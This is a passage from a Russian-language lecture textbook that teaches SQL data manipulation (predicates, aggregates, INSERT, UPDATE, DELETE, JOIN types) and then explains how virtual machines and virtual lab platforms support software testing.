(ложь) или UNKNOWN (неизвестно). Исключение составляют следующие предикаты:
NULL (отсутствие значения), EXISTS (существование), UNIQUE (уникальность) и
MATCH (совпадение), которые не могут принимать значение UNKNOWN.
280
Правила комбинирования всех трех истинностных значений легче запомнить,

обозначив TRUE как 1, FALSE как 0 и UNKNOWN как 1/2 (где то между истинным и
ложным).
AND с двумя истинностными значениями дает минимум этих значений. Например,

TRUE AND UNKNOWN будет равно UNKNOWN.
OR с двумя истинностными значениями дает максимум этих значений. Например,

FALSE OR UNKNOWN будет равно UNKNOWN.
Отрицание истинностного значения равно 1 минус данное истинностное значение.

Например, NOT UNKNOWN будет равно UNKNOWN.
Помимо этого, используются предикаты сравнения.
Предикат сравнения представляет собой два выражения, соединяемых оператором

сравнения. Имеется шесть традиционных операторов сравнения: =, >, <, >=, <=, <>.
Данные типа NUMERIC (числа) сравниваются в соответствии с их алгебраическим

значением.
Данные типа CHARACTER STRING (символьные строки) сравниваются в соответствии

с их алфавитной последовательностью. Если a1a2…an и b1b2…bn - две
последовательности символов, то первая "меньше" второй, если а1<b1, или а1=b1 и
а2<b2 и т.д. Считается также, что а1а2…аn<b1b2…bm, если n<m и а1а2…аn=b1b2…
bn, т.е. если первая строка является префиксом второй. Например, 'folder'<'for', т.к.
первые две буквы этих строк совпадают, а третья буква строки 'folder' предшествует
третьей букве строки 'for'. Также справедливо неравенство 'bar' < 'barber', поскольку
первая строка является префиксом второй.
Данные типа DATETIME (дата/время) сравниваются в хронологическом порядке.
Данные типа INTERVAL (временной интервал) преобразуются в соответствующие

типы, а затем сравниваются как обычные числовые значения типа NUMERIC.
Пример. Получить информацию о компьютерах, имеющих частоту процессора не

менее 500 Мгц и цену ниже $800:
SELECT * FROM PC
WHERE speed >= 500 AND price < 800;
Запрос возвращает следующие данные (Таблица 6.):
281
Таблица 6. – Пример информационного запроса.
Существуют так же и другие предикаты, например, BETWEEN, IN, LIKE.
Имена столбцов, указанных в предложении SELECT, можно переименовать. Это

делает результаты более читабельными, поскольку имена полей в таблицах часто
сокращают с целью упрощения набора. Ключевое слово AS, используемое для
переименования, согласно стандарту можно и опустить, т.к. оно неявно
подразумевается.
Например, запрос:
SELECT ram AS Mb, hd Gb
FROM PC
WHERE cd = '24x';
переименует столбец ram в Mb (мегабайты), а столбец hd - в Gb (гигабайты). Этот

запрос возвратит объемы оперативной памяти и жесткого диска для тех компьютеров,
которые имеют 24-скоростной CD-ROM (Таблица 7.):
Таблица 7. – Пример запроса SELECT AS.
Получение итоговых значений:
Существует возможность получения итоговых (агрегатных) функций. Стандартом

предусмотрены следующие агрегатные функции (Таблица 8.):
282
Таблица 8 .– Описание (агрегатных) функций.
Все эти функции возвращают единственное значение. При этом, функции COUNT, MIN
и MAX применимы к любым типам данных, в то время как SUM и AVG используются
только для числовых полей. Разница между функцией COUNT(*) и COUNT() состоит в
том, что вторая при подсчете не учитывает NULL-значения.
Пример. Найти минимальную и максимальную цену на персональные компьютеры:
SELECT MIN(price) AS Min_price, MAX(price) AS Max_price
FROM PC;
Результатом будет единственная строка, содержащая агрегатные значения (таблица

9.):
Таблица 9. – Строка содержащая (агрегатные) значения.
Для просмотра данных наиболее удобно использовать совместно значения оператора

COUNT - счетчик (позволяет узнать количество записей в запросе), и оператора
CURSOR - позволяет принимать не все записи сразу, а по одной (указанной
пользователем).
Иные операторы
Язык манипуляции данными (DML - Data Manipulation Language) помимо оператора
SELECT, осуществляющего извлечение информации из базы данных, включает
операторы, изменяющие состояние данных. Этими операторами являются:
INSERT - добавление записей (строк) в таблицу БД.
UPDATE - обновление данных в столбце таблицы БД.
DELETE - удаление записей из таблицы БД.
Оператор INSERT.
Оператор INSERT вставляет новые строки в таблицу. При этом, значения столбцов
могут представлять собой литеральные константы либо являться результатом
выполнения подзапроса. В первом случае для вставки каждой строки используется
283
отдельный оператор INSERT; во втором случае - будет вставлено столько строк,

сколько возвращается подзапросом.
Синтаксис оператора:
INSERT INTO <имя таблицы>[(<имя столбца>,...)]
{VALUES (< значение столбца>,…)}
| <выражение запроса>
| {DEFAULT VALUES};
Как видно из представленного синтаксиса, список столбцов не является обязательным.

В том случае, если он отсутствует, список вставляемых значений должен быть полный,
т.е. обеспечивать значения для всех столбцов таблицы. При этом порядок значений
должен соответствовать порядку столбцов, заданному оператором CREATE TABLE для
таблицы, в которую вставляются строки. Кроме того, каждое из этих значений должно
быть того же типа (или приводиться к нему), что и тип, определенный для
соответствующего столбца в операторе CREATE TABLE.
В качестве примера рассмотрим вставку строки в таблицу Product, созданную

следующим оператором CREATE TABLE:
CREATE TABLE [dbo].[product] (
[maker] [char] (1) NOT NULL ,
[model] [varchar] (4) NOT NULL ,
[type] [varchar] (7) NOT NULL )
Пусть требуется добавить в эту таблицу модель ПК 1157 производителя B. Это можно
сделать следующим оператором:
INSERT INTO Product VALUES ('B', 1157, 'PC');
Если задать список столбцов, то можно изменить "естественный" порядок их

следования:
INSERT INTO Product (type, model, maker) VALUES ('PC', 1157, 'B');
Казалось бы, это совершенно излишняя возможность, которая делает конструкцию

только более громоздкой. Однако она становится выигрышной, если столбцы имеют
значения по умолчанию. Рассмотрим следующую структуру таблицы:
CREATE TABLE [product_D] (
[maker] [char] (1) NULL ,
284
[model] [varchar] (4) NULL ,
[type] [varchar] (7) NOT NULL DEFAULT 'PC' )
Отметим, что здесь значения всех столбцов имеют значения по умолчанию (первые
два - NULL, а последний столбец - type - 'PC'). Теперь мы могли бы написать:
INSERT INTO Product_D (model, maker) VALUES (1157, 'B');
В этом случае, отсутствующее значение при вставке строки будет заменено значением
по умолчанию - 'PC'. Заметим, что если для столбца в операторе CREATE TABLE не
указано значение по умолчанию и не указано ограничение NOT NULL, запрещающее
использование NULL в данном столбце таблицы, то подразумевается значение по
умолчанию NULL.
Возникает вопрос: а можно ли не указывать список столбцов и, тем не менее,

воспользоваться значениями по умолчанию? Ответ положительный. Для этого нужно
вместо явного указания значения использовать зарезервированное слово DEFAULT:
INSERT INTO Product_D VALUES ('B', 1158, DEFAULT);
Поскольку все столбцы имеют значения по умолчанию, для вставки строки со

значениями по умолчанию можно было бы написать:
INSERT INTO Product_D VALUES (DEFAULT, DEFAULT, DEFAULT);
Однако для этого случая предназначена специальная конструкция DEFAULT VALUES

(смотри синтаксис оператора), с помощью которой вышеприведенный оператор можно
переписать в виде
INSERT INTO Product_D DEFAULT VALUES;
Заметим, что, при вставке строки в таблицу, проверяются все ограничения,

наложенные на данную таблицу. Это могут быть ограничения первичного ключа или
уникального индекса, проверочные ограничения типа CHECK, ограничения ссылочной
целостности. В случае нарушения какого-либо ограничения вставка строки будет
отвергнута.
Рассмотрим теперь случай использования подзапроса. Пусть нам требуется вставить в

таблицу Product_D все строки из таблицы Product, относящиеся к моделям
персональных компьютеров (type = 'PC'). Поскольку необходимые нам значения уже
имеются в некоторой таблице, то формирование вставляемых строк вручную, во-
первых, является неэффективным, а, во-вторых, может допускать ошибки ввода.
Использование подзапроса решает эти проблемы
INSERT INTO Product_D SELECT * FROM Product WHERE type = 'PC';
285
Использование в подзапросе символа "*" является в данном случае оправданным, т.к.

порядок следования столбцов является одинаковым для обеих таблиц. Если бы это
было не так, следовало бы использовать список столбцов либо в операторе INSERT,
либо в подзапросе, либо в обоих местах, который приводил бы в соответствие порядок
следования столбцов.
Преодолеть ограничение на вставку одной строки в операторе INSERT, при

использовании VALUES, позволяет искусственный прием использования подзапроса,
формирующего строку с предложением UNION ALL. Если нам требуется вставить
несколько строк при помощи одного оператора INSERT, можно написать:
INSERT INTO Product_D
SELECT 'B' AS maker, 1158 AS model, 'PC' AS type
UNION ALL
SELECT 'C', 2190, 'Laptop'
UNION ALL
SELECT 'D', 3219, 'Printer';
Использование UNION ALL предпочтительней UNION даже если гарантировано

отсутствие строк-дубликатов, т.к. в этом случае не будет выполняться проверка для
исключения дубликатов.
Оператор UPDATE
Оператор UPDATE изменяет имеющиеся данные в таблице. Команда имеет

следующий синтаксис:
UPDATE
SET {имя столбца = {выражение для вычисления значения столбца
| NULL
| DEFAULT},...}
[ {WHERE }];
С помощью одного оператора могут быть заданы значения для любого количества
столбцов. Однако в одном и том же операторе UPDATE можно вносить изменения в
каждый столбец указанной таблицы только один раз. При отсутствии предложения
WHERE будут обновлены все строки таблицы.
286
Если столбец допускает NULL-значение, то его можно указать в явном виде. Кроме
того, можно заменить имеющееся значение на значение по умолчанию (DEFAULT) для
данного столбца.
Ссылка на "выражение" может относиться к текущим значениям в изменяемой

таблице. Например, мы можем уменьшить все цены ПК-блокнотов на 10 процентов с
помощью следующего оператора:
UPDATE Laptop SET price=price*0.9
Разрешается также значения одних столбцов присваивать другим столбцам. Пусть,

например, требуется заменить жесткие диски менее 10 Гб в ПК-блокнотах. При этом
емкость новых дисков должна составлять половину объема RAM, имеющейся в
данных устройствах. Эту задачу можно решить следующим образом:
UPDATE Laptop SET hd=ram/2 WHERE hd
Естественно, типы данных столбцов hd и ram должны быть совместимы. Для

приведения типов может использоваться выражение cast.
Если требуется изменять данные, в зависимости от содержимого некоторого столбца,

можно воспользоваться выражением case.
Если, скажем, нужно поставить жесткие диски объемом 20 Гб на ПК-блокноты с

памятью менее 128 Мб и 40 гигабайтные - на остальные ПК-блокноты, то можно
написать такой запрос:
UPDATE Laptop
SET hd = CASE WHEN ram<128 THEN 20 ELSE 40 END
Для вычисления значений столбцов допускается также использование подзапросов.

Например, требуется укомплектовать все ПК-блокноты самыми быстрыми
процессорами из имеющихся. Тогда можно написать:
UPDATE Laptop
SET speed = (SELECT MAX(speed) FROM Laptop)
Необходимо сказать несколько слов об автоинкрементируемых столбцах. Если

столбец code в таблице Laptop определен как IDENTITY(1,1), то поступают следующим
образом. Сначала необходимо вставить нужную строку, используя SET
IDENTITY_INSERT, после чего удалить старую строку:
SET IDENTITY_INSERT Laptop ON
INSERT INTO Laptop_ID(code, model, speed, ram, hd, price, screen)
287
SELECT 5, model, speed, ram, hd, price, screen
FROM Laptop_ID WHERE code=4
DELETE FROM Laptop_ID WHERE code=4
Разумеется, другой строки со значением code=5 в таблице быть не должно.
В Transact-SQL оператор UPDATE расширяет стандарт за счет использования

необязательного предложения FROM. В этом предложении специфицируется таблица,
обеспечивающая критерий для операции обновления. Дополнительную гибкость здесь
дает использование операций соединения таблиц.
Оператор DELETE
Пример. Требуется удалить из таблицы Laptop все ПК-блокноты с размером экрана

менее 12 дюймов.
DELETE FROM Laptop
WHERE screen
Все блокноты можно удалить с помощью оператора DELETE FROM Laptop или
TRUNCATE TABLE Laptop.
Transact-SQL расширяет синтаксис оператора DELETE, вводя дополнительное

предложение FROM.
При помощи источника табличного типа можно конкретизировать данные, удаляемые

из таблицы в первом предложении FROM.
При помощи этого предложения можно выполнять соединения таблиц, что логически
заменяет использование подзапросов в предложении WHERE для идентификации
удаляемых строк.
Поясним сказанное на примере. Пусть требуется удалить те модели ПК из таблицы

Product, для которых нет соответствующих строк в таблице PC.
Используя стандартный синтаксис, эту задачу можно решить следующим запросом:
DELETE FROM Product
WHERE type='pc' AND model NOT IN (SELECT model FROM PC)
Заметим, что предикат type='pc' необходим здесь, чтобы не были удалены также
модели принтеров и ПК-блокнотов.
Эту же задачу можно решить с помощью дополнительного предложения FROM

следующим образом:
288
DELETE FROM Product
FROM Product pr LEFT JOIN PC ON pr.model=pc.model
WHERE type='pc' AND pc.model IS NULL
Здесь используется внешнее соединение, в результате чего столбец pc.model для

моделей ПК, отсутствующих в таблице PC, будет содержать NULL-значение, что и
используется для идентификации подлежащих удалению строк.
Виды JOIN:
(INNER) JOIN возвращает записи, имеющие соответствующие значения в обеих
таблицах.
LEFT (OUTER) JOIN возвращает все записи из левой таблицы и соответствующие

записи из правой таблицы.
RIGHT (OUTER) JOIN возвращает все записи из правой таблицы и

сопоставленные записи из левой таблицы.
FULL (OUTER) JOIN возвращает все записи, когда есть совпадение в левой или
правой таблице.
CROSS JOIN создает набор результатов, который представляет собой количество

строк в первой таблице, умноженное на количество строк во второй таблице.
289
290
Использование JOIN
Использование синтаксиса SQL JOINS при работе с базами данных достаточно
популярно, без них не обходится любой серьезный SQL запрос.
Предположим, что у нас есть две следующие таблицы. Слева Таблица A, и таблица B
справа. Поместим в каждой из них по 4 записи (строки).
Давайте соединим эти таблицы с помощью SQL join по столбцу "name" несколькими
способами и посмотрим, как это будет выглядеть на диаграммах Венна.
Inner join(внутреннее присоединение) производит выбор только строк, которые есть

и в таблице А, и в таблице В.
SELECT * FROM TableA
INNER JOINTableB ON TableA.name = TableB.name
291
Full outer join (полное внешнее соединение - объединение) производит выбор всех
строк из таблиц А и В, причем со всеми возможными вариантами. Если с какой-либо
стороны не будет записи, то недостающая запись будет содержать пустую строку (null
значения).
FULL OUTER JOIN TableB ON TableA.name = TableB.name
Left outer join(левое внешнее соединение) производит выбор всех строк таблицы А с
доступными строками таблицы В. Если строки таблицы В не найдены, то
подставляется пустой результат (null).
292
LEFT OUTER JOINTableB ON TableA.name = TableB.name
Чтобы произвести выбор строк из Таблицы A, которых нет в Таблице Б, мы выполняем

тот же самый LEFT OUTER JOIN, затем исключаем строки, которые заполнены в
Таблице Б. То есть выбрать все записи таблицы А, которых нет в Таблице В, мы
выполняем тоже jeft outer join, но исключаем пустые записи таблицы В.
293
С добавлением условия получаем:
LEFT OUTER JOINTableB ON TableA.name = TableB.name
WHERE TableB.id IS null
Чтобы выбрать уникальные записи таблиц А и В, мы выполняем FULL OUTER JOIN, а

затем исключаем записи, которые принадлежат и таблице А, и таблице Б с помощью
условия WHERE.
294
FULL OUTER JOINTableB ON TableA.name = TableB.name
WHERE TableA.id IS null OR TableB.id IS null
295
Лекция 11, ч.1. Виртуальные машины
Виртуальные машины
Виртуальная машина – это программа, которая эмулирует реальный (физический)
компьютер со всеми его компонентами (жёсткий диск, привод,BIOS, сетевые адаптеры
и т.д.). На такой виртуальный компьютер можно установить, например, операционную
систему, драйверы, программы и т.д. Таким образом, Вы можете запустить на своем
реальном компьютере еще несколько виртуальных компьютеров с такой же или другой
операционной системой. Вы можете без проблем осуществить обмен данными между
вашим реальным и виртуальным компьютером.
Почему необходимо применять средства виртуализации
Средства виртуализации позволяют решать самые разные задачи, в том числе

возникающие перед специалистами по тестированию и обеспечению качества
разрабатываемых программных приложений.
Кроме того, применение виртуальных машин (вместо физических) дает компаниям-

разработчикам ряд существенных преимуществ.
Во-первых, с помощью виртуальных машин можно выполнять сравнительное

тестирование разрабатываемых программных приложений на разных машинах с
разными аппаратными конфигурациями. Например, управлять размером дискового
пространства или оперативной памяти, ограничивать доступ к конкретным сетевым
ресурсам. При этом материальные затраты на приобретение, обслуживание и
обновление компьютерного «железа» фактически исключаются.
С другой стороны, сразу несколько тестировщиков могут получить в распоряжение уже

заранее подготовленную тестовую машину с установленной ОС и настроенной
программной средой (включая, например, локальныйSQL-сервер для построения и
обслуживания баз данных, которые используются в работе тестируемого ПО).
Кроме того, виртуальные машины предоставляют удобные возможности по созданию

конкретного специфического окружения, необходимого для исследования
разрабатываемого ПО. Можно свободно варьировать специфичные региональные
настройки и настраивать локализацию пользователей. И при этом исследователь
может легко экспериментировать с настройками среды, без влияния на конфигурацию
и работоспособность собственной физической машины.
Например, можно создать такую же среду, какая настроена и на стороне конечного

пользователя (клиента), для имитации его работы с приложением. Допустим, Вы
разрабатываете приложение в России, а клиент будет использовать его в другой
296
стране. Зачастую это оказывает влияние на поведение приложения, значит, просто

необходимо принимать во внимание все «национальные особенности».
Технологии виртуализации сейчас применяются во многих сферах ИТ как в

производственной среде, так и энтузиастами и домашними пользователями для самых
разных задач. Несколько одновременно запущенных виртуальных систем на одной
физической машине существенно повышают гибкость ИТ-инфраструктуры и
увеличивают эффективность использования аппаратных ресурсов. Тестирование
программного обеспечения – один из самых распространенных вариантов
использования для платформ виртуализации. Неудивительно, ведь виртуальные
машины обладают множеством полезных свойств, благодаря которым значительно
сокращается время разработки и тестирования и повышается эффективность этих
процессов.
В классической модели разработки программного обеспечения программистам и

инженерам по качеству ПО большую часть времени приходилось испытывать
программный продукт на одной платформе на протяжении практически всего времени
разработки и лишь в конце проводить его тестирование в различных ОС и
пользовательских средах (так называемое тестирование конфигураций, Configurations
Testing). К тому же, в распоряжении сотрудников отделов тестирования и
разработчиков находилось не так много физических компьютеров, а на одной машине,
в одной операционной системе нельзя, например, поставить одновременно несколько
версий одного программного продукта, с которым должна взаимодействовать
разрабатываемая программа. Вследствие этого, в программном обеспечении,
особенно небольших команд разработчиков, часто встречались ошибки, связанные с
особенностями пользовательских конфигураций, поскольку времени и ресурсов на
полноценное конфигурационное тестирование не хватало. Кроме того, инженерам по
качеству приходилось тратить много времени на развертывание комплекса
программных продуктов на тестовых стендах и настройку их работы в сетевой
инфраструктуре.
Безусловно, одной из самых серьезных проблем при разработке ПО является тот факт,
что на ранних этапах разработки и сборки программного продукта разработчики, в
процессе своей работы, могут причинить непоправимый вред системе (например,
различные драйвера устройств). Поэтому приходится планировать восстановление
операционных систем и их настроек после сбоев из резервных копий и тратить
значительное время на их восстановление.
Надо отметить еще одну проблему, которая довольно часто встречается при
разработке программного обеспечения и заставляет потратить значительное время на
ее решение. Всем программистам, имеющим опыт взаимодействия с командами
тестирования, известна следующая ситуация: в системе багтрекинга тестировщик
297
фиксирует дефект, который программисту никак не удается повторить. После того, как
программист ставит статус проблемы как решенный, тестировщик зовет его к своей
машине и наглядно демонстрирует ошибку. В этой ситуации доходит до того, что
программисту приходится установить на машину тестировщика множество отладчиков
и прочей ненужной ерунды и «отлавливать» дефект, полностью останавливая работу
тестировщика. Если к этому прибавить время на удаление тестировщиком
программистских утилит, получаются серьезные потери времени команды.
В заключение перечисления списка проблем, возникающих в процессе разработки и

тестирования, нужно привести еще одну. Зачастую складывается такая ситуация, когда
требуется проверка сборки программного продукта «на дым» (так называемое
дымовое тестирование, Smoke Testing), что означает быстрый прогон наиболее
важных тестов. Но что если мы разрабатываем приложение, для которого требуются
различные версии Internet Explorer? В этом случае будет тратиться много времени на
загрузку подходящей системы, где установлена требуемая версия.
Суммируя описанные ситуации, обобщим проблемы, которые часто встречаются в

процессе разработки и тестирования программных продуктов:
Необходимость испытаний программного обеспечения в количестве

пользовательских конфигураций большем, чем в распоряжении для тестирования
физических компьютеров.
Большие временные затраты на развертывание и настройку тестовых стендов,
содержащих множество различных компонентов, между которыми обеспечивается
сетевое взаимодействие.
Большие временные затраты на создание резервных копий систем и их
конфигураций, а также восстановление после сбоя, вследствие нестабильной
работы сборок программного продукта.
Невозможность воспроизведения дефекта, найденного тестировщиком, на
машине разработчика и потеря времени на его поиск, исправление.
Необходимость в испытаниях программы в условиях аппаратной среды, которой
нет в распоряжении команды тестирования.
Необходимость тестирования программного продукта в условиях, требующих
быстрого переключения между пользовательскими конфигурациями.
Если подсчитать, сколько времени и ресурсов тратится на решение этих проблем, то

получится весьма и весьма внушительная цифра, которая, будучи выраженной в
денежном эквиваленте, составляет довольно большую часть бюджета проекта.
Технологии виртуализации, грамотно примененные в процессе разработки и

тестирования, могут существенно снизить трудозатраты и значительно повысить
эффективность процесса, что положительно скажется на качестве выпущенного
программного продукта. Как конкретно виртуализация позволяет это сделать:
298
Тестировщики, в процессе работы с виртуальными машинами, могут создавать

неограниченное количество пользовательских конфигураций на своей физической
машине запуская, по необходимости, наиболее подходящую в данный момент.
Созданные однажды многомашинные конфигурации могут быть настроены с
помощью инструментов платформ виртуализации и просто перенесены на другое
оборудование, при этом их повторная настройка не требуется.
Резервная копия виртуальной машины может быть создана путем копирования
папки или создания мгновенного снимка состояния («снапшота»).
После нахождения ошибки тестировщиком, виртуальная машина с
повторяющимся дефектом может быть передана разработчику, при этом
высвобождаются ресурсы на дальнейшее тестирование.
Необходимые условия для тестирования могут быть быстро созданы за счет
гибкой настройки параметров аппаратной среды виртуальной машины (объем
оперативной памяти, число виртуальных процессоров, ограничение ресурсов).
Возможность быстрого отката к сохраненному состоянию виртуальной машины с
необходимой конфигурацией или переключение между несколькими
одновременно работающими гостевыми системами уменьшает время на
тестирование.
Все перечисленные решения нужно рассматривать в ракурсе того факта, что

виртуальная машина (с установленным в ней программным обеспечением)
представляет собой весьма гибкий объект, который может быть как быстро развернут
на клиентских машинах из централизованного хранилища шаблонов пользовательских
конфигураций, так и максимально гибко настроен в отношении параметров гостевой
системы и ее окружения. Легкая переносимость на другое оборудование и
независимость от аппаратной платформы – ключевое достоинство виртуальных
машин.
Инструменты виртуальных машин для

тестирования и разработки
Внедряя виртуальную инфраструктуру для целей разработки и тестирования ПО,
необходимо, прежде всего, выбрать наиболее подходящую, надежную и эффективную
платформу виртуализации, удовлетворяющую всем требованиям к процессу
разработки в организации. Есть два наиболее распространенных пути использования
виртуальных машин для тестирования программных продуктов:
299
Неуправляемое развертывание виртуальных машин на клиентских машинах или

серверах тестирования, при котором либо сами тестировщики создают
необходимые им конфигурации, либо копируют шаблоны виртуальных систем на
свои компьютеры из центральной библиотеки виртуальных шаблонов (файлового
сервера). Преимущество данного подхода – дешевизна решения, можно
воспользоваться одной из многих бесплатных систем виртуализации (VMware
Server, Virtual PC, VirtualBox и другие). Основные недостатки – стихийное
развертывание виртуальных машин порождает конфликты в сетевой
инфраструктуре, отсутствие контроля над использованием лицензий на
операционные системы и прикладное ПО, невозможность интеграции в
существующую ИТ-среду организации.
Управляемое развертывание достоинствам данного подхода надо отнести

возможность разрешения конфликтов между виртуальными и физическими
системами в сети, контроль использования лицензий, возможность мониторинга
использования виртуальной инфраструктуры и создания общего пространства
между различными участниками процесса разработки и тестирования, интеграция
в реальную ИТ-инфраструктуру предприятия. Основной недостаток данного
подхода – высокая стоимость решений. Примеры продуктов, обеспечивающих
управляемое развертывание виртуальных машин: VMware LabManager, VMLogix
LabManager, Microsoft System Center Virtual Machine Manager.
Инструменты для разработки и

тестирования при неуправляемом
развертывании
Платформы виртуализации, коих на рынке сейчас большое количество, развиваются
стремительными темпами и предоставляют пользователям все больший набор
инструментов для повышения эффективности процесса разработки и тестирования.
Для решения каждой из перечисленных проблем платформы виртуализации
различных вендоров имеют свои средства, позволяющие пользователям эффективно
тестировать программные продукты в виртуальных машинах:
1. Создание множества пользовательских конфигураций. При наличии большого

объема свободного дискового пространства на машине тестировщика с помощью
платформы виртуализации можно создать неограниченное число виртуальных
систем, каждая из которых может быть загружена по требованию, без остановки
рабочей деятельности работника в хостовой системе. Виртуальные машины могут
300
также применяться на специализированных серверах тестирования на основе

платформ VMware ESX Server, XenEnterprise или Virtual Iron. При этом могут быть
назначены определенные права пользователям виртуальных систем, а также
ограничены физические ресурсы сервера, которые могут быть использованы
конкретным пользователем. На файловом сервере с виртуальными шаблонами
могут храниться предустановленные виртуальные машины, которые
развертываются на сервера тестирования или рабочие станции. В этом случае
нужно учитывать особенности использования виртуальных машин в соответствии
с лицензией. В большинстве случаев каждая виртуальная машина требует
отдельной лицензии, однако есть и исключения, например, лицензия Windows
Server 2003 Datacenter Edition позволяет запускать неограниченное число
виртуальных экземпляров ОС.
Если настроенное тестовое окружение уже развернуто на физической машине, его

можно мигрировать на виртуальную с помощью продуктов вендоров платформ
виртуализации и сторонних разработчиков. К таким решениям относятся продукты
PlateSpin PowerConvert, VMware Converter, Microsoft Migration Toolkit.
2. Создание многомашинных конфигураций на одном физическом сервере.

Платформы виртуализации, ориентированные на тестирование ПО (VMware
Workstation, Virtual PC, VirtualBox, Xen), позволяют создавать целые виртуальные
инфраструктуры с различными типами сетевого взаимодействия в пределах
одного физического хоста. Например, можно создать несколько «блоков» из
виртуальных серверов (сервер баз данных, сервер приложений, окружение
клиента), настроить сетевые адаптеры виртуальных машин (у одной машины их
может быть несколько, в VMware Workstation – до десяти) и запустить
тестируемую связку серверов. При этом платформы виртуализации позволяют
подключать сетевые адаптеры виртуальных машин к различным сегментам
виртуальной сети.
301
Рис. 11.1 - Пример виртуальной сети в пределах физического хоста.
После того, как тестовая виртуальная инфраструктура будет создана, можно настроить
параметры каналов связи между виртуальными машинами.
Рис.11.2. - Пример настройки пропускной способности сегмента виртуальной сети в

VMware Workstation.
302
Нужно отметить, что виртуальные сети не на всех платформах виртуализации

являются портируемыми и иногда требуется их повторная настройка при перенесении
виртуальных машин на другое оборудование:
1. Резервное копирование виртуальных машин при тестировании.

Если тестировщики используют виртуальные машины на своих рабочих станциях,
то они могут создавать их резервные копии путем копирования папки с файлами
виртуальной машины. В случае краха системы, сохраненную копию не надо
восстанавливать – она уже полностью готова к работе. К тому же, многие
платформы виртуализации позволяют создавать несколько снимков состояния
виртуальной машины, откат к каждому из которых может быть произведен за
несколько минут.
Если тестирование производится на выделенных серверах тестирования, то для

создания резервных копий виртуальных машин могут применяться
специализированные решения вендоров платформ виртуализации, такие как
vRanger Pro компании Vizioncore, VMware Consolidated Backup (VCB) или еще не
выпущенное решение Microsoft Data Protection Manager для Virtual Server 2005 R2,
которые позволяют создавать резервные копии виртуальных машин без их
остановки.
2. Демонстрация дефектов разработчикам.

При нахождении дефекта тестировщик может просто сохранить состояние
системы, в котором проявляется ошибка, в снапшоте и продолжить тестирование
системы. При необходимости демонстрации дефекта, виртуальная машина может
быть передана разработчику, который сможет работать с ней, не боясь повредить
окружение тестировщика. Кроме того, на платформе VMware Workstation
виртуальные машины могут действовать как VNC-серверы, без необходимости
установки дополнительного ПО для удаленного доступа к рабочему столу.
303
Рис.11.3. - Настройка доступа VNC-сервера виртуальной машины VMware

Workstation.
3. Гибкая настройка аппаратной среды.

Зачастую при тестировании программного обеспечения требуется большая
гибкость в отношении настройки аппаратных компонентов. Например, при
стрессовом тестировании (Stress Testing) требуется проверка работы
программного продукта в экстремальных или ограниченных условиях (нехватка
дискового пространства, обрыв сетевого соединения). В этом случае, с помощью
платформы виртуализации виртуальной машине можно добавить новые
виртуальные устройства или ограничить выделяемые ей ресурсы.
При этом, если мы добавляем виртуальный диск в гостевой системе, можно

создать его как динамически расширяемый, что позволяет экономить свободное
место на диске, а также создать так называемые Undo-диски, изменения которых
действуют только во время работы с виртуальной машиной и при завершении
сеанса могут быть отменены, что очень удобно для тестирования.
304
Рис. 11.4. - Добавление виртуального диска на платформе Virtual PC 2007.
Что касается контроля ресурсов, многие платформы виртуализации позволяют

ограничивать ресурсы виртуальной машины или пула ресурсов виртуальных машин,
что позволяет моделировать реальные условия пользовательских окружений.
305
Рис. 11.5. - Ограничение ресурсов пула виртуальных машин на платформе VMware

ESX Server.
Современные платформы виртуализации поддерживают стандарт USB 2.0, большое

количество виртуальных сетевых адаптеров в виртуальной машине, эмуляцию SCSI-
дисков, а также представление различного числа процессоров в гостевой системе
посредством виртуального SMP (Symmetric Multi Processing):
1. Работа с несколькими виртуальными системами одновременно.

Эта возможность позволяет тестировщикам не только использовать экземпляры
различных гостевых систем при тестировании, но и осуществлять простой обмен
файлами как между хостом и гостевой ОС, так и между гостевыми ОС с помощью
механизма Drag&Drop. При этом некоторые платформы виртуализации позволяют
производить простой обмен файлами либо через общие папки хостовой системы
(Shared Folders), либо «перетаскивать» файлы между гостевыми системами
(VMware Workstation).
Инструменты для разработки и тестирования при неуправляемом

развертывании
306
Основой при управляемом развертывании виртуальных машин являются

специализированные решения для создания и обслуживания тестовых виртуальных
лабораторий (Virtual Labs), в пределах которых осуществляется контроль над
использованием виртуальных систем различными группами пользователей,
автоматизированное развертывание виртуальных машин на компьютеры участников
проекта и создание общей рабочей среды. Эти решения довольно дорогостоящие
(например, инфраструктура VMware LabManager обойдется не менее чем в $15 000),
однако оправдывают себя в больших масштабах использования. Крупные компании,
такие как Dell, очень широко используют виртуальные машины в пределах
виртуальных лабораторий для испытаний программных продуктов. Такие системы
используют сети хранения данных SAN, где в общей библиотеке виртуальных
шаблонов располагаются шаблоны виртуальных машин, которые развертываются по
требованию на свободных серверах тестирования на основе платформ
виртуализации. Использование виртуальных лабораторий дает следующие
преимущества:
Работа с многомашинными конфигурациями как с единым модулем, возможность

публикации этих модулей.
Снижение временных затрат на конфигурирование систем.
Разграничение доступа к виртуальным машинам и демонстрация дефектов путем
передачи ссылок на проблемную ситуацию, сохраненную в виде снимка состояния
гостевой системы.
Общая библиотека шаблонов с возможностью разрешения сетевых конфликтов
при развертывании (идентификаторы безопасности SID, назначение уникальных
MAC-адресов виртуальным сетевым интерфейсам).
Централизованное обслуживание и развертывание обновлений в тестовых
окружениях.
Мониторинг загрузки серверов тестирования.
В данный момент, наиболее популярными решениями для управляемого

развертывания виртуальной тестовой инфраструктуры являются продукты VMware
LabManager (для платформы ESX Server) и VMLogix LabManager (для платформ
Microsoft, VMware и XenSource).
Тестовые лаборатории VMware LabManager
Компания VMware предлагает крупным компаниям использовать виртуальную

тестовую инфраструктуру на основе решения LabManager (бывшая разработка
поглощенной компании Akimbi), которое позволяет максимально быстро развертывать
виртуальные машины на серверах тестирования и контролировать использование
307
виртуальных систем, при этом процесс выглядит так, будто пользователь работает с
физическим компьютером. Модель работы виртуальной лаборатории представлена на
Рис. 11.6:
Рис. 11.6. - Архитектура решения VMware LabManager.
Помимо всех перечисленных достоинств систем управления виртуальными

лабораториями, VMware LabManager предоставляет интеграцию с популярными
средствами тестирования Borland SilkCentral Test Manager и HP Quality Center, имеет
возможности для развертывания шаблонов в несколько кликов мыши, поддерживает
протокол LDAP, легко интегрируется с другими решениями для виртуальной
инфраструктуры VMware и имеет возможности для автоматизации операций
посредством собственного API (Application Program Interface). Основной недостаток
этого продукта – возможность обслуживания виртуальных серверов только на
платформах VMware.
Тестовые лаборатории VMLogix LabManager
В отличие от решения компании VMware, продукт VMLogix LabManager поддерживает

платформы виртуализации различных вендоров. В качестве основы виртуальной
тестовой лаборатории можно использовать платформы Microsoft (Virtual Server), Xen
(XenEnterprise) и VMware (ESX Server и Server). Кроме того, LabManager компании
